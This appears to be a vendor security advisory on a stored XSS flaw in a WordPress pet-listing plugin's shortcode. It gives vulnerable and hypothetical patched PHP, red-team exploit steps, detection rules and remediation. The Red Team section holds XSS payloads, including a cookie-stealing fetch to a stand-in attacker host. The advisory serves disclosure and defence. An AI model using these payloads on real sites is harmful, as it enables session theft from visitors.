CVE-2025-12710

Executive Summary

CVE-2025-12710 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pet-Manager – Petfinder plugin for WordPress, affecting all versions up to and including 3.6.1. The flaw resides in the kwm-petfinder shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with at least Contributor-level access can inject arbitrary web scripts that execute whenever a victim visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not currently patched, and no official update has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on sites using the plugin is significant.

Deep Dive & Mechanics

The vulnerability exists in the kwm-petfinder shortcode, which is used to display pet listings. The shortcode accepts user-supplied attributes (e.g., category, limit, orderby) that are not properly sanitized or escaped before being rendered in the HTML output. An attacker with Contributor-level access can craft a shortcode like:

[kwm-petfinder category="<script>alert('XSS')</script>"]

When the page is rendered, the injected script executes in the context of any user viewing the page. The lack of output escaping allows arbitrary HTML and JavaScript to be stored and executed persistently.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.6.1):

// In kwm-petfinder.php
function kwm_petfinder_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'limit' => 10,
        'orderby' => 'date'
    ), $atts);
    // Directly outputting attributes without escaping
    echo '<div class="petfinder" data-category="' . $atts['category'] . '">';
    // ...
}

Patched Code (hypothetical fix):

function kwm_petfinder_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'limit' => 10,
        'orderby' => 'date'
    ), $atts);
    // Properly escape attributes
    echo '<div class="petfinder" data-category="' . esc_attr($atts['category']) . '">';
    // ...
}

The fix uses esc_attr() to escape the attribute value, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Pet-Manager plugin <= 3.6.1
• Authenticated user with Contributor role or higher

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the shortcode with a malicious attribute:

   [kwm-petfinder category="<img src=x onerror=alert('XSS')>"]
   

4. Publish the post.
5. Any user visiting the post will trigger the XSS payload.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for posts/pages containing the kwm-petfinder shortcode with suspicious attributes.
• Look for unusual JavaScript execution in the context of the plugin.

Hunting:

• Search the WordPress database for posts containing kwm-petfinder with non-standard attribute values.
• Use WAF rules to block common XSS patterns in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pet-manager/kwm-petfinder.php (vulnerable version)
• Shortcode pattern: [kwm-petfinder category="<script>...</script>"]
• Network: Outbound HTTP requests to attacker-controlled domains from compromised pages
• Logs: WordPress post revisions containing XSS payloads in shortcode attributes

Detection Engineering

YARA Rule

rule CVE_2025_12710_PetManager_XSS {
    meta:
        description = "Detects Pet-Manager plugin files with XSS vulnerability"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-12710"
    strings:
        $vuln_func = "kwm_petfinder_shortcode"
        $unsafe_echo = /echo\s*['\"].*\$atts\s*\[/
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2025-12710 Pet-Manager Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via kwm-petfinder shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "kwm-petfinder"
        http.url|re: "category=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12710 Pet-Manager Stored XSS"; flow:to_server; content:"kwm-petfinder"; http_uri; pcre:"/category=.*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Pet-Manager plugin until a patch is released.
2. Remove any posts/pages containing malicious shortcode attributes.
3. Review user roles and restrict Contributor-level access if possible.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) rule to block XSS patterns in shortcode attributes.
• Educate content creators about safe shortcode usage.

Workaround:

• Use a plugin like "Shortcode Cleaner" to sanitize shortcode attributes.
• Manually edit the plugin file to add esc_attr() to attribute outputs (requires custom development).

Valters IT
Securing Digital Frontiers